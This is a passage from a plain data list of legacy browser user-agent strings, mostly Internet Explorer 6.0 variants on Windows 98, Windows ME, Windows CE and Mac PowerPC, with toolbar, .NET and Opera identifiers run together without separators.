1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 2.8) Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1) Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1; Advanced Searchbar; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1) Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1; FunWebProducts; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1; SV1) Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Linux 2.4.20-19.9.XFS1.3.0 i686) Opera 7.11 [en] Mozilla/4.0 (compatible; MSIE 6.0; Linux 2.4.21 i686) Opera 7.11 [en] Mozilla/4.0 (compatible; MSIE 6.0; Linux 2.4.21-99-default i686) Opera 7.11 [en] Mozilla/4.0 (compatible; MSIE 6.0; Linux 2.6.26-1-amd64) Lobo/0.98.3 Mozilla/4.0 (compatible; MSIE 6.0; Linux i686 ; en) Opera 9.70 Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows 2000) Opera 7.0 [en] Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows 95) Opera 7.03 [de] Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows 98) Opera 7.0 [en] Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows 98) Opera 7.01 [en] Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows 98) Opera 7.02 [en] Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows 98) Opera 7.03 [de] Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows 98) Opera 7.03 [en] Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows ME) Opera 7.0 [en] Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows ME) Opera 7.02 [en] Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows ME) Opera 7.03 [de] Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 4.0) Opera 7.0 [en] Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 4.0) Opera 7.02 [de] Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.0 [de] Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.0 [en] Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.01 [en] Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.03 [de] Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.03 [en] Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.0 [en] Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [de] Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en] Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.02 [de] Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.02 [en] Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.03 [de] Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.03 [en] Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Skampy/0.9.x [en] Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows XP) Opera 7.0 [en] Mozilla/4.0 (compatible; MSIE 6.0; Mac_PowerPC Mac OS X; en) Opera 8.54 Mozilla/4.0 (compatible; MSIE 6.0; Mac_PowerPC; en) Opera 9.00 Mozilla/4.0 (compatible; MSIE 6.0; Mac_PowerPC; en) Opera 9.02 Mozilla/4.0 (compatible; MSIE 6.0; Mac_PowerPC; en) Opera 9.10 Mozilla/4.0 (compatible; MSIE 6.0; Mac_PowerPC; en) Opera 9.21 Mozilla/4.0 (compatible; MSIE 6.0; Mac_PowerPC; en) Opera 9.24 Mozilla/4.0 (compatible; MSIE 6.0; Mac_PowerPC; en) Opera 9.64 Mozilla/4.0 (compatible; MSIE 6.0; Macintosh; PPC Mac OS X; en) Opera 9.02 Mozilla/4.0 (compatible; MSIE 6.0; TargetSeek/1.0; +http://www.targetgroups.net/TargetSeek.html) Mozilla/4.0 (compatible; MSIE 6.0; U; Windows;) Lobo/0.97.1 Mozilla/4.0 (compatible; MSIE 6.0; U; Windows;) Lobo/0.97.5 Mozilla/4.0 (compatible; MSIE 6.0; U; Windows;) Lobo/0.98 Mozilla/4.0 (compatible; MSIE 6.0; U; Windows;) Lobo/0.98.2 Mozilla/4.0 (compatible; MSIE 6.0; Win32) WebWasher 3.0 Mozilla/4.0 (compatible; MSIE 6.0; Windows 3.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows 3.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows 95) Opera 7.11 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows 95; PalmSource; Blazer 3.0) 16; 160x160 Mozilla/4.0 (compatible; MSIE 6.0; Windows 98) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98) Opera 7.11 [de] Mozilla/4.0 (compatible; MSIE 6.0; Windows 98) Opera 7.11 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows 98) Opera 7.20 [de] Mozilla/4.0 (compatible; MSIE 6.0; Windows 98) Opera 7.20 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows 98) Opera 7.23 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows 98) Opera 7.50 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows 98) Opera 7.54u1 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows 98) REL Software Web Link Validator 2.x) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98) Web Link Validator 2.x) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; (R1 1.1)) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; (R1 1.3)) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; (R1 1.5)) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; (R1 1.5); .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Advanced Searchbar 3.25) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Avant Browser [avantbrowser.com]) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Avant Browser) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Avant Browser; Avant Browser) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Crazy Browser 1.0.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; FDM; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; FunWebProducts) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; FunWebProducts-MyTotalSearch) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; FunWebProducts-MyWay) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; FunWebProducts; (R1 1.5)) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; FunWebProducts; (R1 1.5); MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; FunWebProducts; (R1 1.5); SpamBlockerUtility 4.7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; FunWebProducts; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; FunWebProducts; YPC 3.2.0; yplus 4.1.00b) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; HbTools 4.7.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; HbTools 4.7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; HbTools 4.7.3) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Hotbar 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Hotbar 3.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Hotbar 4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Hotbar 4.1.8.0; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Hotbar 4.2.1.1198) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Hotbar 4.2.11.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Hotbar 4.2.8.0; (R1 1.3)) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Hotbar 4.2.8.0; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Hotbar 4.3.1.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Hotbar 4.3.2.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Hotbar 4.3.5.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Hotbar 4.4.6.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Hotbar 4.6.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; MEGAUPLOAD 1.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; MathPlayer 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Maxthon) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; MyIE2) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Net M@nager V3.02 - www.vinn.com.au) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; PalmSource/hspr-H102; Blazer/4.0) 16;320x320 Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Q312461) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Q312461; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Q312461; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Q312461; .NET CLR 1.1.4322; Lunascape 4.0.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Q312461; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Q312461; FunWebProducts) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Q312461; Hotbar 4.3.2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Q312461; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Q312461; T312461) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Q312461; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Q312461; YComp 5.0.2.4) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Q312461; YComp 5.0.2.6; Hotbar 4.2.8.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Rogers Hi-Speed Internet) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; SEARCHALOT.COM; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; SiteKiosk 4.9) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; SiteKiosk 4.9; SiteCoach 1.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; SpamBlockerUtility 4.6.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; SpamBlockerUtility 4.7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; T312461) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; T312461; (R1 1.1)) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; T312461; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; T312461; Hotbar 4.3.5.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; T312461; Q312461) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; T312461; Q312461; FunWebProducts; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; T312461; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; T312461; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 5.3; Wanadoo 5.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 5.3; Wanadoo 5.5; Wanadoo 6.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 5.3; YComp 5.0.0.0; Wanadoo 5.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 5.4) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 5.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 5.5; Wanadoo 6.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 5.5; Wanadoo 6.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 5.6) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 5.6; Wanadoo 5.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 6.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 6.1; Wanadoo 6.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 6.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 6.2; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 6.2; HbTools 4.7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Wanadoo 7.1; Hotbar 4.2.6.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; (R1 1.1)) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; (R1 1.3)) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; (R1 1.3); .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; (R1 1.5)) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; (R1 1.5); .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; .NET CLR 1.0.3705; .NET CLR 1.1.4322; SpamBlockerUtility 4.8.4) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; .NET CLR 1.1.4322; .NET CLR 2.0.40607) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; .NET CLR 1.1.4322; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; .NET CLR 1.1.4322; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; .NET CLR 1.1.4322; PeoplePal 3.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; .NET CLR 1.1.4322; PeoplePal 6.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; .NET CLR 1.1.4322; SpamBlockerUtility 4.8.4) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; .NET CLR 2.0.50727; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Avant Browser [avantbrowser.com]) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Avant Browser; Avant Browser; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Crazy Browser 1.0.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; FDM; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; FunWebProducts) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; FunWebProducts; (R1 1.5)) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; FunWebProducts; .NET CLR 1.1.4322; HbTools 4.8.4) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; FunWebProducts; Hotbar 4.2.14.0; YPC 3.2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; FunWebProducts; i-NavFourF; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; HbTools 4.8.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Hotbar 3.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Hotbar 4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Hotbar 4.1.2.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Hotbar 4.1.5.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Hotbar 4.2.3.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Hotbar 4.2.4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Hotbar 4.2.8.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Hotbar 4.3.1.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Hotbar 4.3.5.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Hotbar 4.4.2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; MEGAUPLOAD 3.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; MathPlayer 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Maxthon; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; MyIE2) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; PeoplePal 3.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; PeoplePal 6.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; PeoplePal 6.6) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Q312461) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Q312461; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Q312461; Hotbar 3.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Q312461; YPC 3.0.3) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Rogers Hi-Speed Internet) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; T312461) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; T312461; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; T312461; Q312461) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Wanadoo 5.5; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Wanadoo 5.5; Hotbar 4.2.4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Wanadoo 5.6) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Wanadoo 6.1; Wanadoo 6.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Wanadoo 6.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; YComp 5.0.0.0; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; YComp 5.0.2.4) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; YComp 5.0.2.4; Hotbar 4.1.7.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; YComp 5.0.2.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; YComp 5.0.2.6; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; YPC 3.1.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; YPC 3.2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.02b) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.3.01b) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; YPC 3.2.0; yplus 5.1.02b) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; http://www.Abolimba.de) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; i-NavFourF) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; i-NavFourF; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; iOpus-I-M) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x4.90) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; YComp 5.0.0.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; YComp 5.0.0.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; YComp 5.0.0.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; YComp 5.0.0.0; Hotbar 4.2.4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; YComp 5.0.2.4) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; YComp 5.0.2.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; YComp 5.0.2.5; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; YComp 5.0.2.6) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; YPC 3.0.1; .NET CLR 1.1.4322; yplus 4.1.00b) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; YPC 3.0.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; YPC 3.2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; YPC 3.2.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; YPC 3.2.0; yplus 4.1.00b) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; YPC 3.2.0; yplus 5.1.02b) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; YPC 3.2.0; yplus 5.3.01b) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; de) Opera 8.02 Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; de) Opera 8.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; en) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; en) Opera 10.00 Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; en) Opera 8.0 Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; en) Opera 8.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; en) Opera 8.51 Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; en) Opera 8.52 Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; en) Opera 8.53 Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; en) Opera 8.54 Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; en) Opera 9.00 Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; en) Opera 9.10 Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; i-NavFourF) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; i-NavFourF; HbTools 4.7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; iOpus-I-M) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; pl) Opera 8.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; ru) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; support@illumit.com; http://www.illumit.com/Products/weblight/) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; www.direktanlagebank.com) Mozilla/4.0 (compatible; MSIE 6.0; Windows CE) Mozilla/4.0 (compatible; MSIE 6.0; Windows CE) Opera Mozilla/4.0 (compatible; MSIE 6.0; Windows CE) Opera 8.0 [en] Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.12; Microsoft ZuneHD 4.3) Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11) Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11) Sprint:PPC6800 Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11) XV6800 Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 8.12; MSIEMobile6.0) Mozilla/4.0 (compatible; MSIE 